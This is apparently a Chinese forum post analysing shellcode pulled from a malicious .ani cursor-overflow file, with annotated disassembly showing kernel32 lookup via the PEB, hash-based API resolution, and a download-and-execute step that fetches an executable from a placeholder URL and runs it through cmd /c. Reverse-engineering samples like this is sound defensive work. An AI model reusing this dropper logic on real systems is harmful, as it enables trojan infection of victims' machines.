这是从一个ani溢出攻击的xxx.ani文件中提取出来的一份shellcode,做了下分析
这里,先要谢谢forgot,解答我关于pPEB>0x80000000的问题,原来是检测win9x用的,谢谢
好了,进入正题吧
代码:
02A200AC mov ebp, esp
02A200AE mov edx, fs:[30] ; pPeb
02A200B5 lea edx, [edx+3] ; pPeb->SpareBool
02A200B8 cmp byte ptr [edx], 1 ; 判断shellcode是否已运行
02A200BB je 02A20189
02A200C1 mov byte ptr [edx], 1 ; 设置shellcode已运行
02A200C4 call 02A20214 ; FARPROC Get_GlobalAlloc_Addr()
; {
02A20214 call 02A20278 ; HMODULE GetBase_Kernel32()
; {
02B20278 xor eax, eax
02B2027A mov eax, fs:[eax+30] ; pPeb
02B2027E test eax, eax
02B20280 js short 02B20292 ; if (pPeb>0x80000000)==>if (win9x),thx forgot!
02B20282 mov eax, [eax+C] ; pPeb->pPEB_LDR_DATA
02B20286 mov esi, [eax+1C] ; pPEB_LDR_DATA->InInitializationOrderModuleList
02B2028A lods dword ptr [esi]
02B2028B mov eax, [eax+8] ; pBase_Kernel32
02B2028F retn
02B20290 jmp short 02B2029D
02B20292 mov eax, [eax+34] ; win9x,pPeb->pEventLog
02B20296 add eax, 7C
02B20299 mov eax, [eax+3C] ; *(pEventLog+0x7c+0x3c),可能是win9x下pBase_Kernel32
02B2029D retn
; }
02A20219 push 0C0397EC ; hash Of "GlobalAlloc"
02A2021E push eax ; pBase_Kernel32
02A2021F call 02A2029E ; FARPROC GetProcAddr(HMODULE hModule,unsigned long hash)
; {
02B2029E pushad
02B2029F mov ebp, [esp+24] ; pBase_Kernel32,pIMAGE_DOS_HEADER
02B202A4 mov eax, [ebp+3C] ; pIMAGE_DOS_HEADER->e_lfanew
02B202A8 mov edx, [ebp+eax+78] ; pIMAGE_OPTIONAL_HEADER+0x78==pIMAGE_EXPORT_DIRECTORY RVA
02B202AD add edx, ebp ; RVA to VA
02B202AF mov ecx, [edx+18] ; NumberOfNames
02B202B3 mov ebx, [edx+20] ; AddressOfNames RVA
02B202B7 add ebx, ebp ; RVA to VA
02B202B9 jecxz short 02B202F5 ; if (NumberOfNames==0)
02B202BB dec ecx
02B202BC mov esi, [ebx+ecx*4] ;
02B202C0 add esi, ebp ; szExportFunName
; 下面开始逐个算输出表中函数名hash,再与所搜索函数的hash比较
02B202C2 xor edi, edi ;---------GetHash-------------------|
02B202C4 xor eax, eax ; unsigned long hash=0; |
02B202C6 cld ; char* pCh=(char*)szExportFunName; |
02B202C7 lods byte ptr [esi] ; while (*pCh) |
02B202C8 test al, al ; { |
02B202CA je short 02B202D3 ; hash=(hash>>0x0d) + *pCh++; |
02B202CC ror edi, 0D ; } |
02B202CF add edi, eax ; |
02B202D1 jmp short 02B202C7 ;-----------------------------------|
02B202D3 cmp edi, [esp+28] ; if (hash==hash_GlobalAlloc)
02B202D8 jnz short 02B202B9
02B202DA mov ebx, [edx+24] ; AddressOfNameOrdinals RVA
02B202DE add ebx, ebp ; RVA to VA
02B202E0 mov cx, [ebx+ecx*2] ; FunctionOrdinal
02B202E5 mov ebx, [edx+1C] ; AddressOfFunctions RVA
02B202E9 add ebx, ebp ; RVA to VA
02B202EB mov eax, [ebx+ecx*4] ; FunctionAddr RVA
02B202EF add eax, ebp ; pFun_API
02B202F1 mov [esp+1C], eax
02B202F6 popad
02B202F7 retn ; return pFun_API
; }
02A20224 add esp, 8
02A20227 retn
; }
02A200C9 push 300 ; MemSize = 0x300
02A200CE push 0 ; Flags = GMEM_FIXED
02A200D0 call eax ; kernel32.GlobalAlloc
029F00D2 mov ecx, 300 ; 下面的copy计数器
029F00D7 mov edi, eax ; pBase_Heap
029F00D9 jmp short 029F00E0
029F00DB pop esi ; 获取地址至esi
; 将esi指向的代码copy至刚申请的heap空间中
029F00DC rep movs byte ptr es:[edi], byte ptr [esi]
029F00DE call eax ; 跳至heap空间中执行,eax==0x194E30
029F00E0 call 029F00DB ; 定位下一句
029F00E5 jmp short 029F00FE
; heap空间中
00194E30 jmp short 00194E49
...
00194E49 jmp 00195043
...
00195043 call 00194E4E
; {
00194E4E pop ebx ; "hTTp://www.xxx.com/xxx.exe"
00194E4F sub esp, 114
00194E55 mov edx, esp
00194E57 mov dword ptr [edx], 20646D63 ;
00194E5E mov dword ptr [edx+4], 2220632F ; cmd /c "
00194E66 add edx, 8
00194E69 xor eax, eax
00194E6B push eax ; IBindStatusCallback *pBSC
00194E6C push eax ; dwReserved
00194E6D push 104 ; dwBufLength=0x104
00194E72 push edx ; szFileName
00194E73 push ebx ; szURL->"hTTp://www.xxx.com/xxx.exe"
00194E74 push eax ; lpUnkcaller=NULL,非ActiveX组件
00194E75 call 00194F9B ; Get_URLDownloadToCacheFileA_Addr()
; {
00194F9B call 00194EED ; GetBase_urlmon_dll();
; {
00194EED push 6E6F ;
00194EF2 push 6D4C7275 ; "urLmon"
00194EF7 jmp short 00194F0B ; 跳去,再call回下一行,则压入了LoadLibraryA返回地址
00194EF9 lea eax, [esp+4]
00194EFD push eax ; "urLmon",LoadLibraryA的参数
00194EFE call 00194E32
; {
00194E32 push edi ; pBase_Heap+0x300 非参数,只是保存
00194E33 call 00194FC3 ; HMODULE GetBase_Kernel32()
00194E38 mov edi, eax ; pBase_Kernel32
00194E3A xor ecx, ecx
00194E3C dec ecx ; ecx==4 GB
00194E3D xor eax, eax
00194E3F mov al, 0C3
00194E41 cld
; 在Kernel32.dll中查找0xC3,即找一个retn指令
00194E42 repne scas byte ptr es:[edi]
00194E44 lea eax, [edi-1] ; Addr of retn
00194E47 pop edi
00194E48 retn
; }
00194F03 push eax ; Addr of retn,做jmp到LoadLibraryA时的返回地址
00194F04 call 00194FAF ; FARPROC Get_LoadLibraryA_Addr()
; {
00194FAF call 00194FC3 ; HMODULE GetBase_Kernel32()
00194FB4 push EC0E4E8E ; hash Of "LoadLibraryA"
00194FB9 push eax ; pBase_Kernel32
00194FBA call 00194FE9 ; FARPROC GetProcAddr(hModule, hash)
00194FBF add esp, 8
00194FC2 retn
; }
00194F09 jmp short 00194ED7 ; pFun=pLoadLibraryA
;
00194ED7 cmp byte ptr [eax], 55 ; if ((char *)pFun==0x55),即push ebp
00194EDA je short 00194EEB
00194EDC cmp dword ptr [eax+5], 90909090 ; if (nop)
00194EE3 je short 00194EEB
00194EE5 push ebp
00194EE6 mov ebp, esp
00194EE8 lea eax, [eax+5]
00194EEB jmp eax ; jmp (LoadLibraryA+5), LoadLibraryA("urLmon")
; 看下这时的堆栈
;0012CE80 0012CFD0 ebp
;0012CE84 4FAD102D kernel32.4FAD102D==> retn->-|
;0012CE88 0012CE90 ASCII "urLmon" v
;0012CE8C 00194F10 返回到 00194F10 <---<<------|
;...
00194F0B call 00194EF9
00194F10 add esp, 8 ; LoadLibraryA返回后到这里
00194F13 retn
; }
00194FA0 push 54FEF4F ; hash Of "URLDownloadToCacheFileA"
00194FA5 push eax ; pBase_urlmon_dll
00194FA6 call 00194FE9 ; FARPROC GetProcAddr(hModule, hash)
00194FAB add esp, 8
00194FAE retn
; }
00194E7A call eax ; urlmon.URLDownloadToCacheFileA
; 终于要下木马了,来看看这时的堆栈
; call urlmon.URLDownloadToCacheFileA
;0012CE9C 00194E7C 返回到 00194E7C
;0012CEA0 00000000 LPUNKNOWN lpUnkcaller,非ActiveX组件
;0012CEA4 00195048 LPCSTR szURL->hTTp://www.xxx.com/xxx.exe
;0012CEA8 0012CEC0 LPTSTR szFileName,(szFileName-8)->cmd /c "
;0012CEAC 00000104 DWORD dwBufLength
;0012CEB0 00000000 DWORD dwReserved
;0012CEB4 00000000 IBindStatusCallback *pBSC
00194E7C mov edi, esp ; cmd /c"C:Docume~1admin...xxx[1].htm
00194E7E mov eax, edi
00194E80 add eax, 8 ; szFileName->"C:Docume~1admin...xxx[1].htm"
00194E83 mov bl, [eax] ;---------------------------|
00194E86 test bl, bl ; |
00194E88 je short 00194E8D ; while (*(char*)szFileName)|
00194E8A inc eax ; szFileName++; |
00194E8B jmp short 00194E83 ;---------------------------|
00194E8D mov byte ptr [eax], 22 ; 字符串末尾加"号,构成完整命令
00194E91 xor edx, edx
00194E93 mov [eax+1], dl ; 填0截断字符串
00194E97 sub esp, 54
00194E9A xor eax, eax
00194E9C xor ebx, ebx
00194E9E mov ecx, esp
00194EA0 cmp eax, 54 ;---------------------------|
00194EA3 jge short 00194EAE ; |
00194EA5 mov [ecx+eax], ebx ; MemZero |
00194EA9 add eax, 4 ; |
00194EAC jmp short 00194EA0 ;---------------------------|
00194EAE mov ecx, esp
00194EB0 mov ebx, ecx
00194EB2 add ebx, 10
00194EB5 xor eax, eax
00194EB7 mov dword ptr [ebx+2C], 1 ; STARTF_USESHOWWINDOW
00194EBF push ecx ; lpProcessInfo
00194EC0 push ebx ; lpStartupInfo
00194EC1 push eax ; lpCurrentDirectory==NULL
00194EC2 push eax ; lpEnvironment
00194EC3 push eax ; dwCreationFlags
00194EC4 push eax ; bInheritHandles
00194EC5 push eax ; lpThreadAttributes
00194EC6 push eax ; lpProcessAttributes
00194EC7 push edi ; lpCommandLine->cmd /c"C:...xxx[1].htm
00194EC8 push eax ; lpApplicationName
00194EC9 call 00194F87 ; FARPROC Get_CreateProcessA_Addr()
; 同上call LoadLibraryA,先检查头几个字节,再跳去CreateProcessA
00194ECE call 00194ED7 ; CreateProcessA
; 启动完成,木马开始执行,好了,抛个eip=0 的执行错误88了
00194ED3 nop
00194ED4 push 0
00194ED6 retn
; }
这份shellcode在没有打ani补丁的xpsp2中可以顺利执行,但是在sp1中失败(我的sp1中,可能打过不同补丁情况会不一样),原因出在调用LoadLibraryA时,它先检测LoadLibraryA头几个个字节,以决定是否要自己保存ebp
代码:
00194ED7 cmp byte ptr [eax], 55 ; if ((char *)pLoadLibraryA==0x55),即push ebp
00194EDA je short 00194EEB
00194EDC cmp dword ptr [eax+5], 90909090 ; if (nop)
00194EE3 je short 00194EEB
00194EE5 push ebp
00194EE6 mov ebp, esp
00194EE8 lea eax, [eax+5]
00194EEB jmp eax ; jmp (LoadLibraryA+5), LoadLibraryA("urLmon")[/color]
sp2中,LoadLibraryA 开始几行为
代码:
mov edi,edi
push ebp
mov ebp, esp
cmp dword ptr [ebp+8], 0
但是,在sp1中(我的sp1 (-_-! ),LoadLibraryA 第一行既是
代码:
cmp dword ptr [esp+4], 0
并没有保存push ebp
这样shellcode加了push ebp导致堆栈不平衡,于是整段shellcode就夭折了
可见,这段shellcode通用性好像不太强,好像只能在xpsp2下执行的
附上shellcode